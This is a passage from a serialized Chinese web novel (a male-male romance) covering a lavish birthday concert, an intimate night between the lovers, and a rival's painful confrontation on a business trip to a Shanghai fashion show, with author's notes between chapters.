贺越邱又急又气,抓住他手放在那儿,烫烫地跳动着:“先注意一下你小老公的需求吧?” 甄甄不轻不重地打了一下,感受到它的激动,哼一声:“那你让它听话一点,我高兴了才让它高兴。” 这说得是什么话—— 为这场演唱会他砸了不知道多少钱下去,这小东西要是再不高兴,那他就得往广寒宫摘月亮去了! 贺越邱只好忍耐着,安慰兄弟现在先饿一饿,等回去有山珍海味。 他凑到甄甄耳边,咬牙切齿,喷着热气:“那你现在高不高兴?” 甄甄转过头,瞳孔被舞台喷出的冷焰火映得闪闪发亮,即使不用给出肯定的答案,贺越邱也依旧在他的脸上看到了幸福的颜色,让他这份天生的美丽更加明媚动人。 这次,甄甄毫无隐瞒,直白地说:“高兴。没有哪一刻比现在更高兴。” 贺越邱忽然感觉到一种比性上的释放更舒坦的满足,他费尽心思想要的,不过就是这样完全只崇拜地、眷恋地看着他的眼神,只喊着他的名字说出的爱语。 这个世界上,没有什么比这些更珍贵。 昏暗的角落里,方寸行远远地看着亲密无间的两人,光影交织的脸上没什么表情,眼神更是透着一种置身事外的漠然。 每一次有艺人退场,他都会抬手无声鼓掌,并不是感谢他们精彩的演出,而是辨认着那一张张熟悉又昂贵的脸,有些讽刺地想,今天为甄甄的生日会演唱的明星,哪一个不是坐拥百万粉丝。可那些粉丝不会知道自己省吃俭用奉做神明的偶像,在贺越邱眼里不过是能哄男朋友开心的小小花招,他们比普通人不同的地方不过在于需要花更多的钱,但有钱人恰恰最不缺钱。 方寸行清楚地知道,这不只是一场哄甄甄开心的表演,也是贺越邱对他的一次羞辱。他要让他明白,他所有活跃的小心思、所有小心翼翼地靠近,若没有他的首肯,便寸步难行。 方寸行自嘲般笑了两声。 演唱会尾声,甄甄满足得产生了一种伪醉,脸上浮现出兴奋到缺氧的粉晕,抱着贺越邱的手臂,黏糊糊地撒娇,喊他老公,哥哥,说自己好开心,好幸福。 贺越邱的大男子主义在这一刻爆棚,他的满足感不比甄甄少,心痒得正要低头吻他,舞台上忽然“砰砰”打开几顶追光灯,强烈的光线严重破坏了此时旖旎的氛围。 甄甄就像好动的小狗,注意力立马被吸引,贺越邱不满地眯眼看过去,嗯……? 那头金毛怎么这么熟悉? 甄甄一眼认出来:“戴维!” 他站起来,高声喊着,还挥挥手。 戴维精心做过发型,打上平日绝不会出现在他身上的耳钉,穿着牛仔破洞,搭了件白T,隐约能看到流畅的臂肌。 他看向即使在台下也发着光的甄甄,笑了笑,抱着吉他,对准话筒,声音是不输专业歌手的磁性:“Hello,而家系5月20号00:00。系啦,呢度就系广东第一情歌王子李佳航,今日我要唱一首《春娇与志明》,送俾全世界最得意、最靓嘅甄甄BB,祝你生日快乐,永远幸福。” 原来这就是戴维说过的礼物!原来不只是为这场演出花费最多心思的贺越邱,他身边还有这么多人在意着他的生日! 甄甄高兴地跳起来,挥着手,追光灯照过来和他互动。 他大声地喊着“李佳航”、“靓仔”,眼睛亮得像天上星星。 贺越邱好笑又好气,扭头看了眼舞台旁的方寸行,用唇语说着,这也是你找来的歌手? 方寸行微微一笑,冲着他轻轻一挑眉,嘴角扬起微末的挑衅—— 作者有话说:(春娇与志明是老方故意安排DV哥唱的,其实们!DV哥让他表哥抓到公司正经上班之前也是个酒吧驻场歌手来的。) 想一次性把甜的都写完,所以今天更新得比较晚了,键盘搓出火星子码了个大肥章 这章之后就要开始…… 请给即将面对命运的小狗妹一点点白白液体的甜头吧[可怜][可怜][可怜][可怜] 第30章 第 30 章 小狗。 这场专属于甄甄的生日演唱会持续了四个多小时, 在他生日到来的十几分钟后落下帷幕。这是一场无与伦比的盛大的生日礼物,几十个当红明星被邀请到体育厂里,只为了满足贺越邱哄甄甄开心的目的, 他们很多人在回去后都跟经纪人打听到底是谁这么大手笔。 但直到坐上贺越邱的副驾驶, 被微凉晚风吹了一路, 到家后, 甄甄依旧沉浸在那份无与伦比的惊喜和快乐之中, 久久无法抽身。 “抬脚,换鞋。” 贺越邱说什么,甄甄就傻乎乎地做。 “怎么过个生日还变笨了?”贺越邱忍不住捏了捏他的脸,把这小笨蛋牵到沙发上坐下。 他呵呵笑着说, “我不笨。” 贺越邱去水吧台接了两杯水, 回来就看到甄甄还在那儿一个劲傻乐, 睁着那双亮晶晶的狗狗眼, 两颊满是幸福的酡红。 贺越邱看着看着,也忍不住勾起唇,弯腰放下水, 亲了甄甄一口。 “就这么高兴?” “嗯嗯!” 任何男人都拒绝不了一个满心满眼都是自己的妻子,贺越邱自觉是男人中的男人, 更是如雄鸡般抖擞着精神,暗示性地拍了下甄甄屁股:“去洗澡,让老公也高兴高兴。” 甄甄被这不轻不重地一下扯回现实, 有点红了脸, 却并不是因为被调戏,而是想到自己藏在主卧抽屉里的东西。 本来……如果没有今晚的演唱会,他也是要打算过一个很难忘的生日。 甄甄对上贺越邱欲/望直白的眼睛,知道今晚这顿懆肯定躲不过去, 要是自己再主动加点料,那他明天还能全须全尾地上飞机吗? “还害羞了,”贺越邱看他一直没动静,就起身去浴室,“那我先去洗。” 甄甄一急,喊道:“不行!” 贺越邱挑眉,话说得下流:“不让我自己洗……那你是要亲自替老公清理了?” 甄甄忙捂住滚烫的脸,骂他流氓。 “这也骂我?那你说吧,到底要我怎么办?” 甄甄脑子有点乱,支吾半天,最后咬咬牙,决定先把贺越邱弄出去再说。 他站起来,一个劲推贺越邱出门:“你……你先去买套,家里没有了。” 这话一说出来,还没把贺越邱怎么样,甄甄自己就先臊得不行了。 贺越邱也没反抗,这点力道就跟看小猫扒拉人类的手,最后反倒把自己累得摊倒一样。 他只是凑到甄甄耳边,笑得焉坏:“你之前不是还跟我说,现在是我的老婆了,可以不做措施,直接弄进去,要给我生宝宝?” “啊啊啊啊你闭嘴!我没有说!” 甄甄羞成跺脚兔子,伸手要捂贺越邱的嘴。 “没说?” “没说!” 贺越邱点住他的鼻子:“那怎么变长了?” “大象鼻子也是长的,我是大象!” 甄甄病急乱投医,胡说八道一通,让贺越邱饶有兴致地看着,反倒给自己弄得不好意思了,最后直接耍赖:“我今天生日,我说什么就是什么,你到底去不去?” 他的谎言太拙劣,贺越邱早就看穿,但乐意陪着笨蛋老婆玩,就配合地举起双手作投降状:“好好好,都听甄甄大王的,我去买。” 甄甄这才心满意足地拍拍手:“这还差不多!” 岂料贺越邱还有后招等着他,如数家珍般列了一串不同的牌子:“嗯,那我问问,甄甄大王要哪种的,螺旋还是颗粒?无感还是狼牙棒?喜欢什么味道?薄荷草莓西瓜……” 甄甄捂住耳朵,尖叫道:“贺!越!邱!” 他模仿小爱语气:“我在。” “滚!” 赶在甄甄释放比格形态之前,贺越邱麻溜儿地亲人换鞋开门关门,一气呵成。 这下安静了。 甄甄听着砰砰直跳的心脏,没了贺越邱在耳朵边说荤话,脸依旧很红。他在原地反复地深呼吸好几次,做足心理建设后,才终于向主卧迈出脚步。 一阵翻箱倒柜后,浴室里传出响亮的水声。 贺越邱自然没去买。 其他不敢说,床上他是一家之主,那盒子开口是朝抽屉里还是抽屉外的方向,他都一清二楚。 他就是乐意逗甄甄,也不知道怎么长的这么一个人,生气害羞无论什么样都让人觉着可怜可爱。 贺越邱抽着烟,记这些东西的数量比记集团上个季度盈利还清楚。 他就在小区观景亭里坐了会儿,估摸着时间,差不多了就灭掉烟,起身回家。 刚走到电梯口,甄甄就发来消息,问他买好了没,什么时候回来。 贺越邱一笑,单手打着字,回了个“好”,脚下加快速度。 电梯运行这十几秒,是贺越邱这辈子等过最煎熬的时间。 到家后,他进门,拉灯,换鞋,走过玄关,家里的摆设没什么变化,那两杯水也仍旧原封不动地摆在茶几上,只是没看见甄甄。 贺越邱反倒觉得有趣,正要打电话问,消息先发来了。 瓦瓦:在卧室。 瓦瓦:给你……准备了礼物。 贺越邱喉结一滚,莫名有些干渴,但仍有耐心回他。 瓦瓦老公:你过生日,给我送什么礼物? 瓦瓦:那你别要! 只是透过文字,贺越邱仿佛都能看见一只生气暴躁扯被单的小狗,不禁一笑。 他忙收起手机,快步走到卧室门前,推门一看,呼吸瞬间加重。 羊毛地毯上摆着不知哪来的粉色礼物盒,足有他半人高,正对着门口那面人为割开一个歪歪扭扭的洞,垂下来一条毛绒绒的小狗尾巴。 贺越邱试探性地喊了一声甄甄,尾巴便应声而动,同时从礼物盒里传出来很轻的一个声音。 贺越邱的眼神立刻兴奋,拿出手机,边喊着甄甄,边一步步靠近。 尾巴是声控的,他一出声音就会摇来摇去,像听到主人回家脚步声就开始欢欣的小狗。 贺越邱深深吸了口气,克制地走到精致的礼物盒前,单手拆着蝴蝶结丝带,一向沉稳的大手竟有些微微颤抖,他推开那层盖子—— 是条又漂亮,又黏人的小狗。 乖巧地跪坐在盒子里,头顶是对雪白毛绒的耳朵,听到声音也会动来动去。 感受到光线照进来,他抬起脸,眨了眨长长的睫毛。 因为视线是向上,衬得他湿润的下垂眼更加无辜,下巴也尖尖的,连接着优美修长的脖颈,透着一股脆弱和清纯。 甄甄摇晃着尾巴,咬着水润润的唇瓣,含情脉脉地看向贺越邱,反复几次,也害羞得没法喊出那个称呼,轻声说:“哥……哥哥,欢迎回家……” 尾巴轻轻地扫过裙边,像根挠在人心尖上的羽毛。 贺越邱向礼盒里探手,甄甄便把脸颊贴上去,眷恋地蹭了蹭。 他喑哑道:“这么乖。” 甄甄羞得抓紧裙子,头也深深地埋下去,像垂着露水的含羞草,羞怯而又温婉。 裙子是狗短的长度,裙边缀着繁复的蕾丝花边,几乎一动就会开成一朵百合。 贺越邱眼神幽暗,喉结滚动着,有些口干舌燥。 不知道是空气太凉,还是那道目光太炙热,甄甄的呼吸声都微微颤抖起来。 “你别看了……” 他羞得不行了,把脸埋在手心里,“呜呜……” 很轻,黏黏糊糊的,像汪汪。 贺越邱眼睛发红,探腰将甄甄轻轻抱出来,他是那么瘦,如同一片叶子落在自己怀里,几乎没有实质的重量。 甄甄怕生般伸出手勾紧他,埋进他的肩膀,羞涩地低着头,折出纤细的颈部线条。 贺越邱的吻点点滴滴地落在耳畔,甄甄发着抖,又躲不开。 “你别亲我了……” 他哭得稀里糊涂,额头也冒出亮晶晶的汗。 贺越邱充耳未闻,甚至得寸进尺。甄甄悬在空中,没有安全感,明知眼前的男人就是始作俑者,却也只能将他视作洪水中的救命稻草,用尽力气去抱住唯一能够抓住的人。 贺越邱却偏偏要欺负他,如愿听着他可爱又崩溃的低泣,心底便生出一种恶劣的爽快,想把他欺负得再狠一些。 甄甄半天都不能回神。 他咬着手指低声哭了好久,还没缓过来,一阵天旋地转,半天才迟钝地感觉到自己落在了平处,他抬起头,看到一个高大的影子落下来。 甄甄本能地想逃开,可对男人的依恋,又让他闭上眼,将自己完全交给了对方。 贺越邱的声音沙哑,深沉,呼吸带着火焰,点燃一切。 “吃饱了吗,宝贝?该我了。” 指针追逐着,月色流淌。 时间流过,甄甄累得被贺越邱抱着去洗漱,等穿好干净睡衣后早就困得不行,趴在柔软的被子里浅眠。 ——这还是他哭着说明天要赶飞机,才被放过。 反观贺越邱,一扫前些天的郁闷,神清气爽。 他想抽烟,但看着被子里窝成一团的小狗,又不想出去,就抓着甄甄的手指磨牙,犬牙把人刮疼了,就挨一巴掌。 但是又不痛,和猫抓几下没区别。 贺越邱抱起甄甄,反手从床头柜拿出一个包装精美的盒子,打开来是一条水头极润的帝王绿翡翠蛋面项链,在昏黄的灯光下泛着莹润清透的光泽。 链子轻飘飘地挂在他手上,嵌着钻石,亮闪闪的,一眼就吸引了甄甄的注意。 因为已经得到了一个难忘的夜晚,他不太确定地问:“这是我的生日礼物吗?” “喜欢?” 甄甄点头,贺越邱低眉,眼神透着一种怜爱和温柔。他轻轻拨开甄甄的头发,戴上后细致地调整着松紧。 “好冰——”沁凉的玉料贴在胸口,甄甄说。 贺越邱笑道:“料子好的货是这样。” 打扮好甄甄后,他支着手满意欣赏,有些文绉绉地想,果然是绿玉白肤,荔枝美人。 甄甄像拿到新玩具的小狗,抓着项链翻来覆去地看,又抬起头炫耀:“是不是很好看?” 贺越邱情不自禁地吻他额头:“好看。你就戴着,别取了。” 甄甄高兴,往男人怀里拱了拱,闻着他身上让人安心的味道,眨着长长的睫毛,满眼的眷恋和崇拜,小声地、甜蜜蜜地说:“谢谢老公。” 贺越邱爽得长叹一声,搂紧甄甄:“只要你喜欢,想要天上的星星,我也搭上梯子摘下来给你。” 甄甄蹭着他,软声软语:“不要星星,要亲一下。” 贺越邱呼吸一深,低下头,狠狠地压住他的唇瓣,亲得他喘不过来气,直到那双漂亮的眼睛泪光闪闪,才终于放开。 甄甄小口小口地喘着气,视线有些痴散。 贺越邱并排着躺下,耳语道:“其实还有一个礼物。” “嗯?” “你之前不是说想要相机吗?我托人收了一台绝版的徕卡20周年特别纪念款,但还没送到,估摸着等你出差回来就能拆了。” 甄甄没想到自己就是随口一说,他真记在心里了,顿时惊喜地睁大眼,一口亲上去,被新长出来的胡茬刺了下后,又生气地轻咬一口。 贺越邱很是受用,抱着甄甄聊天。 聊到后面,他突发奇想:“下个月是我生日,不要你买什么太贵的生日礼物,就纹个身怎么样?代表着你是独属于我一个人的,有心怀不轨的人要是看见,一眼就知道没戏。” 甄甄早就累了,这会儿犯着困,含糊地说不行。 贺越邱也不是很坚持,不过还是问:“为什么?” 甄甄困得直点头:“身体发肤,受之父母,我爸妈肯定不想我纹身,那都是流氓才干的。” 贺越邱哭笑不得,又喜欢他这傻傻的样子,轻轻咬他鼻尖:“你个小封建。”—— 作者有话说:真正的断头饭来了 基本上是最后一次看到小娇妻狗妹了吧!以后再也没有这样满眼都是老公的封建小娇妻了 30-40 第31章 第 31 章 甄甄怎么玩得过他? 甄甄这一觉睡到上午十点。 他没有起床气, 但总是会迷糊一阵,这会儿就正坐起来,呆呆地看着绸被的暗纹, 听到脚步声后又抬头看过去。 贺越邱单手端着一碗面进来:“醒了?刚好, 来吃长寿面。” 贺越邱拉根凳子坐下, 甄甄低头一看, 是个挺可爱的碗, 面条是手工扯的,上面卧着两个煎得焦香金黄的鸡蛋,面汤清淡,漂浮着几粒青白相交的葱段, 散发着香喷喷的热气。 他难得的胃口大开, 指着煎蛋, 要贺越邱喂。 贺越邱搅动着面, 宠溺道:“行,能伺候甄甄大王用早膳是我的荣幸。” 甄甄“啊”地张嘴,咬下煎蛋的焦边, 咂摸着滋味儿,回忆被勾动:“我记得小时候过生日, 我妈也会给我煮这种面。如果那天要去幼儿园,她就会起个大早。也是两个蛋,但她用水煮的, 剥了壳和一整根葱一起摆在面上, 跟我说吃掉这碗面以后每次都能考100分。” 贺越邱看他吃得香,自己心情也好,得意地问:“你老公手艺不错吧?是不是有妈妈的味道?” “那不对,妈妈的味道就是妈妈的味道, 老公做不出来。嗯……谁也做不出来。” 贺越邱也不跟他争,只是哄他多吃点。 甄甄吃光了两个煎蛋,一半面,还喝了几口汤,撑得打嗝。 贺越邱抽纸给他擦着嘴:“宝贝儿今天这么厉害呢?这么多都吃下去了。” 要放以前他能老老实实吃完一个煎蛋,贺越邱都得欣慰老半天。 甄甄揉着圆滚滚的肚子,理所当然地点点头:“你没听说过胃是情绪器官啊,我过生日要开开心心地过,它也要开开心心地吃饭。” 贺越邱捏捏他鼻子:“小没良心的,这话说得就像跟着我除了生日,其他时候都不开心一样,我对你还不好?” 甄甄忙反驳:“我可没这么说!平常也开心,只不过今天特别开心。” “行吧,亲我一下,就饶了你。” 甄甄刚一动,那儿就有滞涩感,他红了红脸,忍着羞耻抬头亲了贺越邱一下。 亲完后就像干了什么特别累的事儿一样,靠在床头瘫成懒猫状消食。 贺越邱边笑边去准备午饭和生日蛋糕,刚做好蛋糕坯,甄甄洗漱完就过来了。 他说着要帮忙,翻箱倒柜地找了根线条小狗围裙,弄半天也没系上,反倒生气了,要贺越邱给他系。 天气已经热起来,甄甄在家只穿了一件很薄的长袖,开着深深的V领,露出凹下去的锁骨和胸口大片雪白皮肤,翡翠项链挂在他脖子上,盈盈地浮着绿光,衬得他整个人都有种阳光下的通透感。 贺越邱拿着两根带子,紧紧一勒,那纤细的腰身便立刻收束,他打了个漂亮的蝴蝶结,又往上调整了一下脖子附近的系带,碰到那条项链时摩挲了下。 “记得要一直戴着,别摘下来。” 甄甄耳朵都要听出茧了,边挽着袖子,边敷衍地嗯嗯应下:“知道啦知道啦,洗澡都不摘,满意了吧?” 贺越邱就只是笑。 甄甄会做一点饭,但有些笨手笨脚,贺越邱不敢让他切菜,就安排他去盯着烤箱。 他收拾着乱七八糟的岛台,拿起擀面杖时甄甄吓了一跳,往旁边一躲。 贺越邱投去一个疑惑的眼神:“怎么了?” 甄甄紧张得手心出汗:“我以为你要打我呢。” “小脑袋瓜一天天都在想些什么呢,好端端地我干嘛打你?你是不是又看什么苦情剧了?”贺越邱调侃道。 甄甄哼一声,不服气道:“怎么,我要不好端端的,你就要家暴呗?” 贺越邱麻利地切着菜,说:“那不会,打老婆的不是男人。” “撒谎!你每次都打我屁股!” “那能算吗?” “当然算了!” “那以后都不打了?” 甄甄声音忽然又小下来,红着脸,嘟囔道:“那不行……” 贺越邱的呼吸明显加重,警告道:“我跟你说甄瓦瓦,你要还想顺利赶上今晚的飞机,就别搁这儿招我。” 甄甄拉着下眼皮,吐舌:“略。” 贺越邱磨着牙:“等你回来再好好收拾你。” 他忙活了三个多小时,做出来一大桌子菜,小狗蛋糕也在甄甄的监督下新鲜出炉。 贺越邱叼着没点燃的烟,端菜上桌,甄甄在一边学着电视剧女主的样子双手擦围裙,颇有成就感:“我们两个真是太厉害了。” 贺越邱又气又好笑,沿着蛋糕边儿插上20根蜡烛,把最后一根放在中间,拿打火机点燃了,让甄甄快来许愿。 甄甄赶紧跑过来,摆出祷告的手势,虔诚地闭上眼,也不知道都许了些什么愿,贺越邱足足等了两分钟,才等到他睁开眼,鼓起脸颊对准蜡烛,用力地吹灭。 这种时刻贺越邱自然也拿手机都记录下来了,他两指并拢揩了把奶油抹在甄甄脸上,笑盈盈地看着他,温声道:“生日快乐,宝贝。” 这么多年的厌食症下来,甄甄现在就算有胃口也吃不下太多,但想着过生日,吃完一小块蛋糕后还是挨个把每样菜都尝了一口,这对贺越邱而言无异于皇帝赏了块御厨牌匾给他。 饭后他给甄甄揉着肚子,感叹道:“要是以后你也这么肯吃饭就好了。” 甄甄撑得难受,靠在贺越邱的肩膀上,抓着他的手,小狗一样呜呜叫唤。 傍晚六点,贺越邱把他送到机场,方寸行和戴维已经在贵宾室等候多时。 他们旁若无人地拥抱分别,只是感受到那样如胶似漆的氛围,方寸行都能够想象到他们昨晚有多甜蜜疯狂。 他忽然起身,吓了戴维一跳,然后就听见他说:“我去趟洗手间。” 戴维无语道:“睇下你个死样。” 贺越邱看向那个匆匆而去的背影,对甄甄说:“等我一下。” 方寸行洗了把脸,双手撑在洗手台,盯着镜子里那张湿淋淋的脸,半天才勉强压下那股烦躁。 然而一抬头,看到贺越邱,又让他前功尽弃。 方寸行皱起眉:“这么喜欢神出鬼没?” 贺越邱笑道:“我上厕所,也不行吗?” 方寸行不说话了,转身就走。 贺越邱却又叫住他:“甄甄说你们这次出差三天,他这几年都是在我的照顾下生活,没什么独立经验,作为上司,还得拜托你多照顾他了。” 方寸行不知哪来的一股无名火,猛地回头,提高了音量:“你到底想干什么!?又是这些话,我都不知道听了多少遍——你几次三番给我和甄甄创造独处的机会,却又总在我面前摆出一副正室的样子耀武扬威宣誓主权,你自己不觉得矛盾吗?如果是心理上有什么问题,务必不要讳疾避医,我认识口碑很好的心理医生,可以推荐给你。” 自贺越邱认识方寸行这十几年以来,他永远都是一副谁见了都无趣的性冷淡的样子,贺越邱还从未见过他像现在这般情绪失控。 他觉得还挺有趣:“冷静点方生,还是说甄甄是你的情绪开关?” 方寸行的胸膛剧烈起伏着,很想冲上去给贺越邱一拳,硬生生忍住了。 他毫不掩饰厌恶的眼神:“我不想再跟你讨论有关甄甄的任何问题。” 即使没有明说,彼此知道多少,彼此都是什么心思,两人都心照不宣。 贺越邱油盐不进般,笑意更深了:“可我挺喜欢和你讨论甄甄。” 赶在方寸行发作之前,贺越邱说:“虽然你总是急不可耐地划清界限,但男人骗不过男人,我知道你对甄甄多多少少有些好感。你是不是以为我要严防死守?恰恰相反,其实我并不反对你追求甄甄,从我让他到你公司上班那天起,我就从未介意过你们的相处。以前不会,现在不会,以后更不会。相比之下,是你太拧巴了,想要却又不明说,只会打着冠冕堂皇的借口试图挑唆我们分手,这可不是君子之为。” 方寸行咬紧牙关:“我不是君子,你也够无耻。” 贺越邱走近,拍拍他肩膀,看似亲厚,可方寸行仍然能从那双狭长锋锐的眼睛中看出上位者毫不掩饰的优越感,以这样高高在上的姿态,愚弄着他人真心。 方寸行浑身冰冷,这一刻他想到的是甄甄,他那么笨,又天真得可怜,沉浸在爱人给的虚情假意里,怎么玩得过这个男人。 贺越邱的语气中带着一种怂恿:“你昨晚做得很好,所以作为奖励,我把甄甄放去出差。你既然有这个心思,那就要抓住机会。” 奖励? 这分明是赤裸裸的羞辱! 方寸行攥紧了拳头,忍了又忍,从未像现在这样,对一个人有过诉诸暴力的冲动:“贺总,你未免太狂妄,对这段感情也太有把握了——你觉得自己做的天衣无缝,就没想过万一,这些事被甄甄发现后会有什么后果吗?!” 贺越邱的眼神阴沉一瞬,转而又一副轻松的语气:“你为什么总是爱把甄甄拿出来做挡箭牌?况且你的判断完全是建立在自己的主观臆断上,你似乎把甄甄想得太纯洁了,给他提前套好一个懵懂无知的假设,为此义愤填膺。你就没考虑过,也许事情并非你想象的那样?” 方寸行愣住,脸色变了又变。他隐晦而敏感地领略到贺越邱的暗示,可…… 这怎么可能呢?甄甄那样的人,不可能和他同流合污,他根本就不相信! 方寸行想都不敢细想,脱口而出:“你这种恶心的行为,没有人会接受!” 贺越邱唇角一勾,笑道:“关于这个问题的答案么……你下飞机应该就能知道了。” 他将方寸行戒备而疑惑地眼神尽收眼底,收回手,走到洗手池边,边洗着手,边轻松道:“要是你看到后,和想象中的结果不太一样,希望你不要太惊讶,也不要太崩溃。” 方寸行因这句话而产生了一种浓烈的不安,站在原地许久未动,他竟有些恐惧于踏出下一步,对这次出差、对这趟航班产生了一种抵抗心理。 室内只有安静的水流声。 半晌,方寸行才勉强找回理智,抬起沉重的双腿,回到贵宾室。 三人上了飞机,临入关前,甄甄还抱着贺越邱亲了一下,两人你侬我侬。 方寸行冷眼旁观,煞风景地想,你抱他、亲他的时候,会想到这个人其实心怀鬼胎吗? 戴维订了三张商务舱,本来都是单独的座位,且甄甄和方寸行挨得更近,但甄甄坐不住,跑来和戴维挤在一起。 他俩在飞机上聊了一路,甄甄最好奇的就是昨晚那演唱会:“我还以为你就是上去搞个节目效果,没想到你真有两把刷子,以前学过唱歌吗?” 戴维头往后一仰,得意地晃着二郎腿:“你知道Jay为什么比我早出生20年吗?那是他为了避我锋芒,否则说不好谁才是天王。” 甄甄鼓掌,捧场道:“好犀利!” 戴维来劲了,开始如数家珍,讲自己当年的辉煌,听得甄甄一愣一愣的。 戴维沉浸在回忆里,感叹道:“这在广东也是一段佳话。” 方寸行看不下去,冷哼一声:“是有两把刷子,但也就只有两把,真实情况是不上学和一群无业青年组乐队,脑袋上那几根毛把彩虹上的颜色染了个遍,还打耳钉戴舌钉,跑人家酒吧死皮赖脸地要做驻唱。名气没闯出来,还差点被延毕,让他爸妈找上门,一耳光打散歌手魂,拎回去老老实实把大学读完了,这才是衰仔李佳航。” 戴维立马抗议:“不带这么拆台的!不是说好了工作场合称职务吗,谁是你表弟,谁是李佳航,我是戴维!David!” 方寸行冷笑道:“知道了,李佳航。” 甄甄长长地“切”一声,双手放在眼皮下,比出“TT”手势,鄙视之。 戴维急道:“他这就是在嫉妒我有百灵鸟般动听的美妙歌喉!” 方寸行闭目养神,不再搭理。 一下飞机,甄甄就迫不及待地拿出手机,把周围都拍了一圈,发给贺越邱报平安。 方寸行冷冷地笑了一下,提着行李箱,走在最前面。 快出站时,手机忽然响了一声,方寸行拿出一看,是H总的更新提示。 他忽然有些手抖,几乎要拿不住,竭力克制着点进去,看清楚图文那一刻猛地攥紧手机,用力到指尖发白。 那是一张巨型礼物盒的照片,打包得很精美,方寸行去过贺越邱那套房子,一眼认出来是在哪里。 配文是,小狗送我的礼物。 夜色纤浓,热浪滚滚,方寸行却如坠冰窖—— 作者有话说:我会争取下章掉码的[可怜] 第32章 第 32 章 方寸行翻出H的账号:“…… 那是种因为心底某种东西彻底崩塌而带来的, 深入骨髓的寒意。 方寸行想起在登机前和贺越邱的那场对话,刻意逃避的恶果在几个小时后还是追上来让他吞下,痛得他几乎是肠穿肚烂。 他怔楞地停在原地, 目光下意识去寻找落在后面的甄甄, 对上他依旧澄澈疑惑的目光后, 又生出一分垂死挣扎的希望, 总是忍不住告诉自己, 或许事情不是那样。同时又有另一种想要立刻对峙的冲动,索性豁出去将一切问个清清楚楚。 可方寸行才刚张嘴,就被戴维的催促打断:“快啲上车啊,发咩呆?” 他搬完自己的行李, 又帮甄甄把箱子拎到后备箱。 方寸行还没回过神, 手上一松, 自己的也被戴维抢了去, 全都安置好后,像打包行李一样把他塞进后排。 甄甄坐在副驾驶。 到酒店下车,方寸行依旧麻木地一味往前走, 视线中只有甄甄的背影。 直到戴维一把拉住他,才骤然清醒片刻。 “你跟着甄甄干什么?我没给你们定双人床, 都是单独豪华套间。”戴维拽着方寸行,贱兮兮地挑了下眉,“你这样很像尾随痴汉哦表哥。” 方寸行抿抿唇, 避开甄甄好奇投来的目光。 戴维诧异道:“你居然没骂我两句?也太不对劲了!” “……你先回去, 我还有事要和他说。”方寸行脸色难看,实在没有心情插科打诨。 戴维瘪瘪嘴,不服且怂地溜了。 甄甄也觉得这家伙从下飞机就怪怪的:“你找我能有什么事儿?” 方寸行这一路都在做心理准备,可真到了这一刻, 才发现那些都是无用功,他还是不知道该怎么开口。 甄甄等了半天也不见他说话,就要进房间。 方寸行头脑一热,喊住他:“你……究竟知不知道贺越邱做的事?” 话一出口,他就有些后悔。有些问题若是没有答案,也许要比水落石出更能骗人。 甄甄的手都搭在门把上了,闻言很是不解:“知道啊,他早跟我坦白过了。” 他还以为方寸行在翻旧账,说贺父过寿那件事。 方寸行的瞳孔骤然缩紧,如遭雷劈,不可置信般往后退了一步。 他恍惚着,声线颤抖:“你……知道?所以……” 他极力克制住情绪,却还是能尝到喉间的腥味,心脏也像是被人攥住那般,快要喘不过来气。 “所以,你真是自愿的,从来都不是……” 不是他以为的那样,懵懂,无知,单纯,被欺骗。 而是如贺越邱趾高气扬炫耀的那般,全心全意地、甚至于放弃尊严,献出自己,给人玩弄。 而他还一直替他找着各种各样的借口——多可笑的自欺欺人。他这样,和把头埋在沙地里的骆驼又有什么区别。 甄甄的话给了方寸行最致命的一击,他用一种理所当然的语气,说:“我跟贺越邱都谈几年了,要不是自愿,能好这么久吗?” 方寸行听到身体里有什么东西破碎的声音,他再也撑不下去,转身就走,背影狼狈。 “神经。”甄甄摇摇头,进房间带上门。 方寸行却一夜未眠。 他脑子很乱,很多道声音挤在一起,吵得他头痛欲裂,就这样干睁着眼,硬生生熬到天亮。 他来上海除了看秀,本来还有合作要谈,现在什么心思都没有了,连时装周开场秀都没有去——他实在不知道该以何种心态面对甄甄,更不知道该怎么跨过去心里这道坎。 他宁愿去酒吧,喝个酩酊烂醉,也好过让人看笑话。 一杯接一杯的酒下肚,方寸行面无表情地想,他无情无欲地活了这么二十几年,还是人生头一次,为感情的事发愁到这种地步。他觉得自己特别可笑,引以为傲的冷静和理智一碰上甄甄,就全部丢到了脑后,因为他失落,自怨,又因为他高兴,喜悦。不过短短几个月的功夫,他居然就完全变了一个人,变得这么懦弱,鲁莽。 他真的不再是他自己,他厌恶这样的失控。 但最可怕的是,即使如此,他心里想的,嘴里念的,却还是那个曾经不知该如何开口的名字。 和为情所伤的方寸行不同,甄甄一想到走秀就很激动。 他年纪小,又爱热闹,早早就到秀场了,看见前面两排座位都空着,想着坐近点看得更清楚,也没考虑太多,随便就挑了一个位置坐下。 陆陆续续有人进来,看到第一排坐着个漂亮的男孩子时先楞了下,然后在脑子里搜刮这到底是谁。有人刷视频多的就对他有点儿印象,不怎么刷的就对不上这是哪号人,但无一例外都向甄甄投去了异样的眼光。 甄甄虽然很敏感,但并不自卑,他只觉得这么多人进来都看自己一眼有点怪,却也没多想,依旧安安稳稳地坐在那儿。 直到有一个staff过来拍了拍他的肩膀:“您好,方便的话可以另外找一个位置坐吗?这是给白导预留的位置。” “芳姐?哦行,我换个位置。” 甄甄听话地挪窝,顶着场内一百多个人直白的目光,找了半天,才发现原来每个椅子背后都贴了人名。 但他没在前面两排找到自己的名字,正失落,转眼看到正对T台的第一排里有把椅子后面贴着方寸行的名字,眼前一亮,抬脚走过去,在staff逐渐惊呆的目光中一屁股坐下了。 staff为难地回头看了眼场地策划,挠挠头,想着反正自己已经提醒过了,他要坐那儿就坐那儿吧,到时候被方总当众下面子也是他自己倒霉。 甄甄坐下没多久,模特们就出来走开场秀了,他看得津津有味,都没注意到身后那些窃窃私语。 “这人到底谁啊,懂不懂规矩。” “刚出道没多久的平面模特吧,只是网上火,排资论辈还远着呢,就敢抢位置。” “之前有人抢座位就被冷藏了吧?” “小网红又混不了圈,怕什么封杀,博出位呗。” “不是有传言他被方总包养吗,搞不好是小情人持宠而骄。” 戴维满酒店都没找到方寸行,想着他那么大个人了也丢不了,就自己先来秀场了。 刚一坐到甄甄身边,就听见这些话,于是转过身,脸压在搭着椅背的左手上,笑得无害,对离得较近的几个人,说:“佢确实唔系好识规矩,我比较了解,使唔使我嚟教下你哋咩系规矩?” 那几人满脸“他在说什么”的茫然,但有一个是粤语区出身的歌手,闻言脸色一变,正要怼回去,旁边人却拉住他,小声道:“这是方总的人。” 几人立时噤声,再看向戴维时,恭恭敬敬的,还带着点讨好。 